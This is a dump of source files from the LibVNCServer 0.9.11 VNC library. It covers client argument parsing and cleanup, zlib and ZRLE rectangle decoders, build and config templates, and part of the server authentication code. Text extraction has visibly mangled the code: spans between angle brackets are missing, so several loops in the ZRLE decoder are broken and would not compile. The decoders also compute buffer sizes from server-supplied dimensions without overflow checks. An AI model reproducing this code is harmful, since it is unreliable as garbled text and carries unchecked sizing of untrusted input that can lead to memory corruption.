if (strcmp(argv[i], "-listen") == 0) { listenForIncomingConnections(client); break; } else if (strcmp(argv[i], "-listennofork") == 0) { listenForIncomingConnectionsNoFork(client, -1); break; } else if (strcmp(argv[i], "-play") == 0) { client->serverPort = -1; j++; } else if (i+1<*argc && strcmp(argv[i], "-encodings") == 0) { client->appData.encodingsString = argv[i+1]; j+=2; } else if (i+1<*argc && strcmp(argv[i], "-compress") == 0) { client->appData.compressLevel = atoi(argv[i+1]); j+=2; } else if (i+1<*argc && strcmp(argv[i], "-quality") == 0) { client->appData.qualityLevel = atoi(argv[i+1]); j+=2; } else if (i+1<*argc && strcmp(argv[i], "-scale") == 0) { client->appData.scaleSetting = atoi(argv[i+1]); j+=2; } else if (i+1<*argc && strcmp(argv[i], "-qosdscp") == 0) { client->QoS_DSCP = atoi(argv[i+1]); j+=2; } else if (i+1<*argc && strcmp(argv[i], "-repeaterdest") == 0) { char* colon=strchr(argv[i+1],':'); if(client->destHost) free(client->destHost); client->destPort = 5900; client->destHost = strdup(argv[i+1]); if(colon) { client->destHost[(int)(colon-argv[i+1])] = '\0'; client->destPort = atoi(colon+1); } j+=2; } else { char* colon=strchr(argv[i],':'); if(client->serverHost) free(client->serverHost); if(colon) { client->serverHost = strdup(argv[i]); client->serverHost[(int)(colon-argv[i])] = '\0'; client->serverPort = atoi(colon+1); } else { client->serverHost = strdup(argv[i]); } if(client->serverPort >= 0 && client->serverPort < 5900) client->serverPort += 5900; } /* purge arguments */ if (j>i) { *argc-=j-i; memmove(argv+i,argv+j,(*argc-i)*sizeof(char*)); i--; } } } if(!rfbInitConnection(client)) { rfbClientCleanup(client); return FALSE; } return TRUE; } void rfbClientCleanup(rfbClient* client) { #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG int i; for ( i = 0; i < 4; i++ ) { if (client->zlibStreamActive[i] == TRUE ) { if (inflateEnd (&client->zlibStream[i]) != Z_OK && client->zlibStream[i].msg != NULL) rfbClientLog("inflateEnd: %s\n", client->zlibStream[i].msg); } } if ( client->decompStreamInited == TRUE ) { if (inflateEnd (&client->decompStream) != Z_OK && client->decompStream.msg != NULL) rfbClientLog("inflateEnd: %s\n", client->decompStream.msg ); } if (client->jpegSrcManager) free(client->jpegSrcManager); #endif #endif FreeTLS(client); while (client->clientData) { rfbClientData* next = client->clientData->next; free(client->clientData); client->clientData = next; } if (client->sock >= 0) close(client->sock); if (client->listenSock >= 0) close(client->listenSock); free(client->desktopName); free(client->serverHost); if (client->destHost) free(client->destHost); if (client->clientAuthSchemes) free(client->clientAuthSchemes); free(client); } libvncserver-LibVNCServer-0.9.11/libvncclient/zlib.c000066400000000000000000000112531303145525000223300ustar00rootroot00000000000000/* * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef LIBVNCSERVER_HAVE_LIBZ /* * zlib.c - handle zlib encoding. * * This file shouldn't be compiled directly. It is included multiple times by * rfbproto.c, each time with a different definition of the macro BPP. For * each value of BPP, this file defines a function which handles an zlib * encoded rectangle with BPP bits per pixel. */ #define HandleZlibBPP CONCAT2E(HandleZlib,BPP) #define CARDBPP CONCAT3E(uint,BPP,_t) static rfbBool HandleZlibBPP (rfbClient* client, int rx, int ry, int rw, int rh) { rfbZlibHeader hdr; int remaining; int inflateResult; int toRead; /* First make sure we have a large enough raw buffer to hold the * decompressed data. In practice, with a fixed BPP, fixed frame * buffer size and the first update containing the entire frame * buffer, this buffer allocation should only happen once, on the * first update. */ if ( client->raw_buffer_size < (( rw * rh ) * ( BPP / 8 ))) { if ( client->raw_buffer != NULL ) { free( client->raw_buffer ); } client->raw_buffer_size = (( rw * rh ) * ( BPP / 8 )); client->raw_buffer = (char*) malloc( client->raw_buffer_size ); } if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbZlibHeader)) return FALSE; remaining = rfbClientSwap32IfLE(hdr.nBytes); /* Need to initialize the decompressor state. */ client->decompStream.next_in = ( Bytef * )client->buffer; client->decompStream.avail_in = 0; client->decompStream.next_out = ( Bytef * )client->raw_buffer; client->decompStream.avail_out = client->raw_buffer_size; client->decompStream.data_type = Z_BINARY; /* Initialize the decompression stream structures on the first invocation. */ if ( client->decompStreamInited == FALSE ) { inflateResult = inflateInit( &client->decompStream ); if ( inflateResult != Z_OK ) { rfbClientLog( "inflateInit returned error: %d, msg: %s\n", inflateResult, client->decompStream.msg); return FALSE; } client->decompStreamInited = TRUE; } inflateResult = Z_OK; /* Process buffer full of data until no more to process, or * some type of inflater error, or Z_STREAM_END. */ while (( remaining > 0 ) && ( inflateResult == Z_OK )) { if ( remaining > RFB_BUFFER_SIZE ) { toRead = RFB_BUFFER_SIZE; } else { toRead = remaining; } /* Fill the buffer, obtaining data from the server. */ if (!ReadFromRFBServer(client, client->buffer,toRead)) return FALSE; client->decompStream.next_in = ( Bytef * )client->buffer; client->decompStream.avail_in = toRead; /* Need to uncompress buffer full. */ inflateResult = inflate( &client->decompStream, Z_SYNC_FLUSH ); /* We never supply a dictionary for compression. */ if ( inflateResult == Z_NEED_DICT ) { rfbClientLog("zlib inflate needs a dictionary!\n"); return FALSE; } if ( inflateResult < 0 ) { rfbClientLog( "zlib inflate returned error: %d, msg: %s\n", inflateResult, client->decompStream.msg); return FALSE; } /* Result buffer allocated to be at least large enough. We should * never run out of space! */ if (( client->decompStream.avail_in > 0 ) && ( client->decompStream.avail_out <= 0 )) { rfbClientLog("zlib inflate ran out of space!\n"); return FALSE; } remaining -= toRead; } /* while ( remaining > 0 ) */ if ( inflateResult == Z_OK ) { /* Put the uncompressed contents of the update on the screen. */ CopyRectangle(client, (uint8_t *)client->raw_buffer, rx, ry, rw, rh); } else { rfbClientLog( "zlib inflate returned error: %d, msg: %s\n", inflateResult, client->decompStream.msg); return FALSE; } return TRUE; } #undef CARDBPP #endif libvncserver-LibVNCServer-0.9.11/libvncclient/zrle.c000066400000000000000000000246531303145525000223540ustar00rootroot00000000000000/* * Copyright (C) 2005 Johannes E. Schindelin. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef LIBVNCSERVER_HAVE_LIBZ /* * zrle.c - handle zrle encoding. * * This file shouldn't be compiled directly. It is included multiple times by * rfbproto.c, each time with a different definition of the macro BPP. For * each value of BPP, this file defines a function which handles an zrle * encoded rectangle with BPP bits per pixel. */ #ifndef REALBPP #define REALBPP BPP #endif #if !defined(UNCOMP) || UNCOMP==0 #define HandleZRLE CONCAT2E(HandleZRLE,REALBPP) #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) #elif UNCOMP>0 #define HandleZRLE CONCAT3E(HandleZRLE,REALBPP,Down) #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down) #else #define HandleZRLE CONCAT3E(HandleZRLE,REALBPP,Up) #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up) #endif #define CARDBPP CONCAT3E(uint,BPP,_t) #define CARDREALBPP CONCAT3E(uint,REALBPP,_t) #define ENDIAN_LITTLE 0 #define ENDIAN_BIG 1 #define ENDIAN_NO 2 #define ZYWRLE_ENDIAN ENDIAN_LITTLE #undef END_FIX #if ZYWRLE_ENDIAN == ENDIAN_LITTLE # define END_FIX LE #elif ZYWRLE_ENDIAN == ENDIAN_BIG # define END_FIX BE #else # define END_FIX NE #endif #define __RFB_CONCAT3E(a,b,c) CONCAT3E(a,b,c) #define __RFB_CONCAT2E(a,b) CONCAT2E(a,b) #undef CPIXEL #if REALBPP != BPP #if UNCOMP == 0 #define CPIXEL REALBPP #elif UNCOMP>0 #define CPIXEL CONCAT2E(REALBPP,Down) #else #define CPIXEL CONCAT2E(REALBPP,Up) #endif #endif #define PIXEL_T __RFB_CONCAT3E(uint,BPP,_t) #if BPP!=8 #define ZYWRLE_DECODE 1 #include "zywrletemplate.c" #endif #undef CPIXEL static int HandleZRLETile(rfbClient* client, uint8_t* buffer,size_t buffer_length, int x,int y,int w,int h); static rfbBool HandleZRLE (rfbClient* client, int rx, int ry, int rw, int rh) { rfbZRLEHeader header; int remaining; int inflateResult; int toRead; int min_buffer_size = rw * rh * (REALBPP / 8) * 2; /* First make sure we have a large enough raw buffer to hold the * decompressed data. In practice, with a fixed REALBPP, fixed frame * buffer size and the first update containing the entire frame * buffer, this buffer allocation should only happen once, on the * first update. */ if ( client->raw_buffer_size < min_buffer_size) { if ( client->raw_buffer != NULL ) { free( client->raw_buffer ); } client->raw_buffer_size = min_buffer_size; client->raw_buffer = (char*) malloc( client->raw_buffer_size ); } if (!ReadFromRFBServer(client, (char *)&header, sz_rfbZRLEHeader)) return FALSE; remaining = rfbClientSwap32IfLE(header.length); /* Need to initialize the decompressor state. */ client->decompStream.next_in = ( Bytef * )client->buffer; client->decompStream.avail_in = 0; client->decompStream.next_out = ( Bytef * )client->raw_buffer; client->decompStream.avail_out = client->raw_buffer_size; client->decompStream.data_type = Z_BINARY; /* Initialize the decompression stream structures on the first invocation. */ if ( client->decompStreamInited == FALSE ) { inflateResult = inflateInit( &client->decompStream ); if ( inflateResult != Z_OK ) { rfbClientLog( "inflateInit returned error: %d, msg: %s\n", inflateResult, client->decompStream.msg); return FALSE; } client->decompStreamInited = TRUE; } inflateResult = Z_OK; /* Process buffer full of data until no more to process, or * some type of inflater error, or Z_STREAM_END. */ while (( remaining > 0 ) && ( inflateResult == Z_OK )) { if ( remaining > RFB_BUFFER_SIZE ) { toRead = RFB_BUFFER_SIZE; } else { toRead = remaining; } /* Fill the buffer, obtaining data from the server. */ if (!ReadFromRFBServer(client, client->buffer,toRead)) return FALSE; client->decompStream.next_in = ( Bytef * )client->buffer; client->decompStream.avail_in = toRead; /* Need to uncompress buffer full. */ inflateResult = inflate( &client->decompStream, Z_SYNC_FLUSH ); /* We never supply a dictionary for compression. */ if ( inflateResult == Z_NEED_DICT ) { rfbClientLog("zlib inflate needs a dictionary!\n"); return FALSE; } if ( inflateResult < 0 ) { rfbClientLog( "zlib inflate returned error: %d, msg: %s\n", inflateResult, client->decompStream.msg); return FALSE; } /* Result buffer allocated to be at least large enough. We should * never run out of space! */ if (( client->decompStream.avail_in > 0 ) && ( client->decompStream.avail_out <= 0 )) { rfbClientLog("zlib inflate ran out of space!\n"); return FALSE; } remaining -= toRead; } /* while ( remaining > 0 ) */ if ( inflateResult == Z_OK ) { char* buf=client->raw_buffer; int i,j; remaining = client->raw_buffer_size-client->decompStream.avail_out; for(j=0; jrw)?rw-i:rfbZRLETileWidth; int subHeight=(j+rfbZRLETileHeight>rh)?rh-j:rfbZRLETileHeight; int result=HandleZRLETile(client,(uint8_t *)buf,remaining,rx+i,ry+j,subWidth,subHeight); if(result<0) { rfbClientLog("ZRLE decoding failed (%d)\n",result); return TRUE; return FALSE; } buf+=result; remaining-=result; } } else { rfbClientLog( "zlib inflate returned error: %d, msg: %s\n", inflateResult, client->decompStream.msg); return FALSE; } return TRUE; } #if REALBPP!=BPP && defined(UNCOMP) && UNCOMP!=0 #if UNCOMP>0 #define UncompressCPixel(pointer) ((*(CARDBPP*)pointer)>>UNCOMP) #else #define UncompressCPixel(pointer) ((*(CARDBPP*)pointer)<<(-(UNCOMP))) #endif #else #define UncompressCPixel(pointer) (*(CARDBPP*)pointer) #endif static int HandleZRLETile(rfbClient* client, uint8_t* buffer,size_t buffer_length, int x,int y,int w,int h) { uint8_t* buffer_copy = buffer; uint8_t* buffer_end = buffer+buffer_length; uint8_t type; #if BPP!=8 uint8_t zywrle_level = (client->appData.qualityLevel & 0x80) ? 0 : (3 - client->appData.qualityLevel / 3); #endif if(buffer_length<1) return -2; type = *buffer; buffer++; { if( type == 0 ) /* raw */ #if BPP!=8 if( zywrle_level > 0 ){ CARDBPP* pFrame = (CARDBPP*)client->frameBuffer + y*client->width+x; int ret; client->appData.qualityLevel |= 0x80; ret = HandleZRLETile(client, buffer, buffer_end-buffer, x, y, w, h); client->appData.qualityLevel &= 0x7F; if( ret < 0 ){ return ret; } ZYWRLE_SYNTHESIZE( pFrame, pFrame, w, h, client->width, zywrle_level, (int*)client->zlib_buffer ); buffer += ret; }else #endif { #if REALBPP!=BPP int i,j; if(1+w*h*REALBPP/8>buffer_length) { rfbClientLog("expected %d bytes, got only %d (%dx%d)\n",1+w*h*REALBPP/8,buffer_length,w,h); return -3; } for(j=y*client->width; j<(y+h)*client->width; j+=client->width) for(i=x; iframeBuffer)[j+i] = UncompressCPixel(buffer); #else CopyRectangle(client, buffer, x, y, w, h); buffer+=w*h*REALBPP/8; #endif } else if( type == 1 ) /* solid */ { CARDBPP color = UncompressCPixel(buffer); if(1+REALBPP/8>buffer_length) return -4; FillRectangle(client, x, y, w, h, color); buffer+=REALBPP/8; } else if( (type >= 2)&&(type <= 127) ) /* packed Palette */ { CARDBPP palette[16]; int i,j,shift, bpp=(type>4?(type>16?8:4):(type>2?2:1)), mask=(1<buffer_length) return -5; /* read palette */ for(i=0; iwidth; j<(y+h)*client->width; j+=client->width) { for(i=x,shift=8-bpp; iframeBuffer)[j+i] = palette[((*buffer)>>shift)&mask]; shift-=bpp; if(shift<0) { shift=8-bpp; buffer++; } } if(shift<8-bpp) buffer++; } } /* case 17 ... 127: not used, but valid */ else if( type == 128 ) /* plain RLE */ { int i=0,j=0; while(jbuffer_end) return -7; color = UncompressCPixel(buffer); buffer+=REALBPP/8; /* read run length */ length=1; while(*buffer==0xff) { if(buffer+1>=buffer_end) return -8; length+=*buffer; buffer++; } length+=*buffer; buffer++; while(j0) { ((CARDBPP*)client->frameBuffer)[(y+j)*client->width+x+i] = color; length--; i++; if(i>=w) { i=0; j++; } } if(length>0) rfbClientLog("Warning: possible ZRLE corruption\n"); } } else if( type == 129 ) /* unused */ { return -8; } else if( type >= 130 ) /* palette RLE */ { CARDBPP palette[128]; int i,j; if(2+(type-128)*REALBPP/8>buffer_length) return -9; /* read palette */ for(i=0; i=buffer_end) return -10; color = palette[(*buffer)&0x7f]; length=1; if(*buffer&0x80) { if(buffer+1>=buffer_end) return -11; buffer++; /* read run length */ while(*buffer==0xff) { if(buffer+1>=buffer_end) return -8; length+=*buffer; buffer++; } length+=*buffer; } buffer++; while(j0) { ((CARDBPP*)client->frameBuffer)[(y+j)*client->width+x+i] = color; length--; i++; if(i>=w) { i=0; j++; } } if(length>0) rfbClientLog("Warning: possible ZRLE corruption\n"); } } } return buffer-buffer_copy; } #undef CARDBPP #undef CARDREALBPP #undef HandleZRLE #undef HandleZRLETile #undef UncompressCPixel #undef REALBPP #endif #undef UNCOMP libvncserver-LibVNCServer-0.9.11/libvncserver-config.in000066400000000000000000000030641303145525000230500ustar00rootroot00000000000000#!/bin/sh prefix=@prefix@ exec_prefix=@exec_prefix@ exec_prefix_set=no includedir=@includedir@ libdir=@libdir@ # if this script is in the same directory as libvncserver-config.in, assume not installed if [ -f "`dirname "$0"`/libvncserver-config.in" ]; then dir="`dirname "$0"`" prefix="`cd "$dir"; pwd`" includedir="$prefix" libdir="$prefix/libvncserver/.libs $prefix/libvncclient/.libs" fi usage="\ Usage: @PACKAGE@-config [--prefix[=DIR]] [--exec-prefix[=DIR]] [--version] [--link] [--libs] [--cflags]" if test $# -eq 0; then echo "${usage}" 1>&2 exit 1 fi while test $# -gt 0; do case "$1" in -*=*) optarg=`echo "$1" | sed 's/[-_a-zA-Z0-9]*=//'` ;; *) optarg= ;; esac case $1 in --prefix=*) prefix=$optarg if test $exec_prefix_set = no ; then exec_prefix=$optarg fi ;; --prefix) echo $prefix ;; --exec-prefix=*) exec_prefix=$optarg exec_prefix_set=yes ;; --exec-prefix) echo $exec_prefix ;; --version) echo @VERSION@ ;; --cflags) if [ "$includedir" != /usr/include ]; then includes=-I"$includedir" fi echo "$includes" ;; --libs) libs="" for dir in $libdir; do libs="$libs -L$dir" if [ "`uname`" = "SunOS" ]; then # why only Solaris?? libs="$libs -R$dir" fi done echo "$libs" -lvncserver -lvncclient @LIBS@ @WSOCKLIB@ ;; --link) echo @CC@ ;; *) echo "${usage}" 1>&2 exit 1 ;; esac shift done libvncserver-LibVNCServer-0.9.11/libvncserver.pc.in000066400000000000000000000004611303145525000222040ustar00rootroot00000000000000prefix=@prefix@ exec_prefix=@exec_prefix@ libdir=@libdir@ includedir=@includedir@ Name: LibVNCServer Description: A library for easy implementation of a VNC server. Version: @VERSION@ Requires: Requires.private: zlib Libs: -L${libdir} -lvncserver Libs.private: @LIBS@ @WSOCKLIB@ Cflags: -I${includedir} libvncserver-LibVNCServer-0.9.11/libvncserver/000077500000000000000000000000001303145525000212525ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/libvncserver/Makefile.am000066400000000000000000000047461303145525000233210ustar00rootroot00000000000000AM_CPPFLAGS = -I$(top_srcdir) -I$(top_srcdir)/common if WITH_TIGHTVNC_FILETRANSFER TIGHTVNCFILETRANSFERHDRS=tightvnc-filetransfer/filelistinfo.h \ tightvnc-filetransfer/filetransfermsg.h \ tightvnc-filetransfer/handlefiletransferrequest.h \ tightvnc-filetransfer/rfbtightproto.h TIGHTVNCFILETRANSFERSRCS = tightvnc-filetransfer/rfbtightserver.c \ tightvnc-filetransfer/handlefiletransferrequest.c \ tightvnc-filetransfer/filetransfermsg.c \ tightvnc-filetransfer/filelistinfo.c endif if WITH_WEBSOCKETS if HAVE_GNUTLS WEBSOCKETSSSLSRCS = rfbssl_gnutls.c rfbcrypto_gnutls.c WEBSOCKETSSSLLIBS = @GNUTLS_LIBS@ else if HAVE_LIBSSL WEBSOCKETSSSLSRCS = rfbssl_openssl.c rfbcrypto_openssl.c WEBSOCKETSSSLLIBS = @SSL_LIBS@ @CRYPT_LIBS@ else WEBSOCKETSSSLSRCS = rfbssl_none.c rfbcrypto_included.c ../common/md5.c ../common/sha1.c endif endif WEBSOCKETSSRCS = websockets.c $(WEBSOCKETSSSLSRCS) endif includedir=$(prefix)/include/rfb include_HEADERS=../rfb/rfb.h ../rfb/rfbconfig.h \ ../rfb/rfbproto.h ../rfb/keysym.h ../rfb/rfbregion.h ../rfb/rfbclient.h noinst_HEADERS=../common/d3des.h ../rfb/default8x16.h zrleoutstream.h \ zrlepalettehelper.h zrletypes.h private.h scale.h rfbssl.h rfbcrypto.h \ ../common/minilzo.h ../common/lzoconf.h ../common/lzodefs.h ../common/md5.h ../common/sha.h ../common/sha-private.h \ $(TIGHTVNCFILETRANSFERHDRS) EXTRA_DIST=tableinit24.c tableinittctemplate.c tabletranstemplate.c \ tableinitcmtemplate.c tabletrans24template.c \ zrleencodetemplate.c if HAVE_LIBZ ZLIBSRCS = zlib.c zrle.c zrleoutstream.c zrlepalettehelper.c ../common/zywrletemplate.c if HAVE_LIBJPEG TIGHTSRCS = tight.c ../common/turbojpeg.c endif endif LIB_SRCS = main.c rfbserver.c rfbregion.c auth.c sockets.c $(WEBSOCKETSSRCS) \ stats.c corre.c hextile.c rre.c translate.c cutpaste.c \ httpd.c cursor.c font.c \ draw.c selbox.c ../common/d3des.c ../common/vncauth.c cargs.c ../common/minilzo.c ultra.c scale.c \ $(ZLIBSRCS) $(TIGHTSRCS) $(TIGHTVNCFILETRANSFERSRCS) libvncserver_la_SOURCES=$(LIB_SRCS) libvncserver_la_LIBADD=$(WEBSOCKETSSSLLIBS) if WITH_SYSTEMD AM_CPPFLAGS += -DLIBVNCSERVER_WITH_SYSTEMD libvncserver_la_CFLAGS = $(LIBSYSTEMD_CFLAGS) libvncserver_la_LIBADD += $(LIBSYSTEMD_LIBS) endif lib_LTLIBRARIES=libvncserver.la libvncserver_la_LDFLAGS = -version-info 1:0:0 if HAVE_RPM $(PACKAGE)-$(VERSION).tar.gz: dist # Rule to build RPM distribution package rpm: $(PACKAGE)-$(VERSION).tar.gz libvncserver.spec cp $(PACKAGE)-$(VERSION).tar.gz @RPMSOURCEDIR@ rpmbuild -ba libvncserver.spec endif libvncserver-LibVNCServer-0.9.11/libvncserver/auth.c000066400000000000000000000274061303145525000223700ustar00rootroot00000000000000/* * auth.c - deal with authentication. * * This file implements the VNC authentication protocol when setting up an RFB * connection. */ /* * Copyright (C) 2005 Rohit Kumar, Johannes E. Schindelin * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include /* RFB 3.8 clients are well informed */ void rfbClientSendString(rfbClientPtr cl, const char *reason); /* * Handle security types */ static rfbSecurityHandler* securityHandlers = NULL; /* * This method registers a list of new security types. * It avoids same security type getting registered multiple times. * The order is not preserved if multiple security types are * registered at one-go. */ void rfbRegisterSecurityHandler(rfbSecurityHandler* handler) { rfbSecurityHandler *head = securityHandlers, *next = NULL; if(handler == NULL) return; next = handler->next; while(head != NULL) { if(head == handler) { rfbRegisterSecurityHandler(next); return; } head = head->next; } handler->next = securityHandlers; securityHandlers = handler; rfbRegisterSecurityHandler(next); } /* * This method unregisters a list of security types. * These security types won't be available for any new * client connection. */ void rfbUnregisterSecurityHandler(rfbSecurityHandler* handler) { rfbSecurityHandler *cur = NULL, *pre = NULL; if(handler == NULL) return; if(securityHandlers == handler) { securityHandlers = securityHandlers->next; rfbUnregisterSecurityHandler(handler->next); return; } cur = pre = securityHandlers; while(cur) { if(cur == handler) { pre->next = cur->next; break; } pre = cur; cur = cur->next; } rfbUnregisterSecurityHandler(handler->next); } /* * Send the authentication challenge. */ static void rfbVncAuthSendChallenge(rfbClientPtr cl) { /* 4 byte header is alreay sent. Which is rfbSecTypeVncAuth (same as rfbVncAuth). Just send the challenge. */ rfbRandomBytes(cl->authChallenge); if (rfbWriteExact(cl, (char *)cl->authChallenge, CHALLENGESIZE) < 0) { rfbLogPerror("rfbAuthNewClient: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbVncAuthProcessResponse. */ cl->state = RFB_AUTHENTICATION; } /* * Send the NO AUTHENTICATION. SCARR */ /* * The rfbVncAuthNone function is currently the only function that contains * special logic for the built-in Mac OS X VNC client which is activated by * a protocolMinorVersion == 889 coming from the Mac OS X VNC client. * The rfbProcessClientInitMessage function does understand how to handle the * RFB_INITIALISATION_SHARED state which was introduced to support the built-in * Mac OS X VNC client, but rfbProcessClientInitMessage does not examine the * protocolMinorVersion version field and so its support for the * RFB_INITIALISATION_SHARED state is not restricted to just the OS X client. */ static void rfbVncAuthNone(rfbClientPtr cl) { /* The built-in Mac OS X VNC client behaves in a non-conforming fashion * when the server version is 3.7 or later AND the list of security types * sent to the OS X client contains the 'None' authentication type AND * the OS X client sends back the 'None' type as its choice. In this case, * and this case ONLY, the built-in Mac OS X VNC client will NOT send the * ClientInit message and instead will behave as though an implicit * ClientInit message containing a shared-flag of true has been sent. * The special state RFB_INITIALISATION_SHARED represents this case. * The Mac OS X VNC client can be detected by checking protocolMinorVersion * for a value of 889. No other VNC client is known to use this value * for protocolMinorVersion. */ uint32_t authResult; /* The built-in Mac OS X VNC client expects to NOT receive a SecurityResult * message for authentication type 'None'. Since its protocolMinorVersion * is greater than 7 (it is 889) this case must be tested for specially. */ if (cl->protocolMajorVersion==3 && cl->protocolMinorVersion > 7 && cl->protocolMinorVersion != 889) { rfbLog("rfbProcessClientSecurityType: returning securityResult for client rfb version >= 3.8\n"); authResult = Swap32IfLE(rfbVncAuthOK); if (rfbWriteExact(cl, (char *)&authResult, 4) < 0) { rfbLogPerror("rfbAuthProcessClientMessage: write"); rfbCloseClient(cl); return; } } cl->state = cl->protocolMinorVersion == 889 ? RFB_INITIALISATION_SHARED : RFB_INITIALISATION; if (cl->state == RFB_INITIALISATION_SHARED) /* In this case we must call rfbProcessClientMessage now because * otherwise we would hang waiting for data to be received from the * client (the ClientInit message which will never come). */ rfbProcessClientMessage(cl); return; } /* * Advertise the supported security types (protocol 3.7). Here before sending * the list of security types to the client one more security type is added * to the list if primaryType is not set to rfbSecTypeInvalid. This security * type is the standard vnc security type which does the vnc authentication * or it will be security type for no authentication. * Different security types will be added by applications using this library. */ static rfbSecurityHandler VncSecurityHandlerVncAuth = { rfbSecTypeVncAuth, rfbVncAuthSendChallenge, NULL }; static rfbSecurityHandler VncSecurityHandlerNone = { rfbSecTypeNone, rfbVncAuthNone, NULL }; static void rfbSendSecurityTypeList(rfbClientPtr cl, int primaryType) { /* The size of the message is the count of security types +1, * since the first byte is the number of types. */ int size = 1; rfbSecurityHandler* handler; #define MAX_SECURITY_TYPES 255 uint8_t buffer[MAX_SECURITY_TYPES+1]; /* Fill in the list of security types in the client structure. (NOTE: Not really in the client structure) */ switch (primaryType) { case rfbSecTypeNone: rfbRegisterSecurityHandler(&VncSecurityHandlerNone); break; case rfbSecTypeVncAuth: rfbRegisterSecurityHandler(&VncSecurityHandlerVncAuth); break; } for (handler = securityHandlers; handler && sizenext) { buffer[size] = handler->type; size++; } buffer[0] = (unsigned char)size-1; /* Send the list. */ if (rfbWriteExact(cl, (char *)buffer, size) < 0) { rfbLogPerror("rfbSendSecurityTypeList: write"); rfbCloseClient(cl); return; } /* * if count is 0, we need to send the reason and close the connection. */ if(size <= 1) { /* This means total count is Zero and so reason msg should be sent */ /* The execution should never reach here */ char* reason = "No authentication mode is registered!"; rfbClientSendString(cl, reason); return; } /* Dispatch client input to rfbProcessClientSecurityType. */ cl->state = RFB_SECURITY_TYPE; } /* * Tell the client what security type will be used (protocol 3.3). */ static void rfbSendSecurityType(rfbClientPtr cl, int32_t securityType) { uint32_t value32; /* Send the value. */ value32 = Swap32IfLE(securityType); if (rfbWriteExact(cl, (char *)&value32, 4) < 0) { rfbLogPerror("rfbSendSecurityType: write"); rfbCloseClient(cl); return; } /* Decide what to do next. */ switch (securityType) { case rfbSecTypeNone: /* Dispatch client input to rfbProcessClientInitMessage. */ cl->state = RFB_INITIALISATION; break; case rfbSecTypeVncAuth: /* Begin the standard VNC authentication procedure. */ rfbVncAuthSendChallenge(cl); break; default: /* Impossible case (hopefully). */ rfbLogPerror("rfbSendSecurityType: assertion failed"); rfbCloseClient(cl); } } /* * rfbAuthNewClient is called right after negotiating the protocol * version. Depending on the protocol version, we send either a code * for authentication scheme to be used (protocol 3.3), or a list of * possible "security types" (protocol 3.7). */ void rfbAuthNewClient(rfbClientPtr cl) { int32_t securityType = rfbSecTypeInvalid; if (!cl->screen->authPasswdData || cl->reverseConnection) { /* chk if this condition is valid or not. */ securityType = rfbSecTypeNone; } else if (cl->screen->authPasswdData) { securityType = rfbSecTypeVncAuth; } if (cl->protocolMajorVersion==3 && cl->protocolMinorVersion < 7) { /* Make sure we use only RFB 3.3 compatible security types. */ if (securityType == rfbSecTypeInvalid) { rfbLog("VNC authentication disabled - RFB 3.3 client rejected\n"); rfbClientConnFailed(cl, "Your viewer cannot handle required " "authentication methods"); return; } rfbSendSecurityType(cl, securityType); } else { /* Here it's ok when securityType is set to rfbSecTypeInvalid. */ rfbSendSecurityTypeList(cl, securityType); } } /* * Read the security type chosen by the client (protocol 3.7). */ void rfbProcessClientSecurityType(rfbClientPtr cl) { int n; uint8_t chosenType; rfbSecurityHandler* handler; /* Read the security type. */ n = rfbReadExact(cl, (char *)&chosenType, 1); if (n <= 0) { if (n == 0) rfbLog("rfbProcessClientSecurityType: client gone\n"); else rfbLogPerror("rfbProcessClientSecurityType: read"); rfbCloseClient(cl); return; } /* Make sure it was present in the list sent by the server. */ for (handler = securityHandlers; handler; handler = handler->next) { if (chosenType == handler->type) { rfbLog("rfbProcessClientSecurityType: executing handler for type %d\n", chosenType); handler->handler(cl); return; } } rfbLog("rfbProcessClientSecurityType: wrong security type (%d) requested\n", chosenType); rfbCloseClient(cl); } /* * rfbAuthProcessClientMessage is called when the client sends its * authentication response. */ void rfbAuthProcessClientMessage(rfbClientPtr cl) { int n; uint8_t response[CHALLENGESIZE]; uint32_t authResult; if ((n = rfbReadExact(cl, (char *)response, CHALLENGESIZE)) <= 0) { if (n != 0) rfbLogPerror("rfbAuthProcessClientMessage: read"); rfbCloseClient(cl); return; } if(!cl->screen->passwordCheck(cl,(const char*)response,CHALLENGESIZE)) { rfbErr("rfbAuthProcessClientMessage: password check failed\n"); authResult = Swap32IfLE(rfbVncAuthFailed); if (rfbWriteExact(cl, (char *)&authResult, 4) < 0) { rfbLogPerror("rfbAuthProcessClientMessage: write"); } /* support RFB 3.8 clients, they expect a reason *why* it was disconnected */ if (cl->protocolMinorVersion > 7) { rfbClientSendString(cl, "password check failed!"); } else 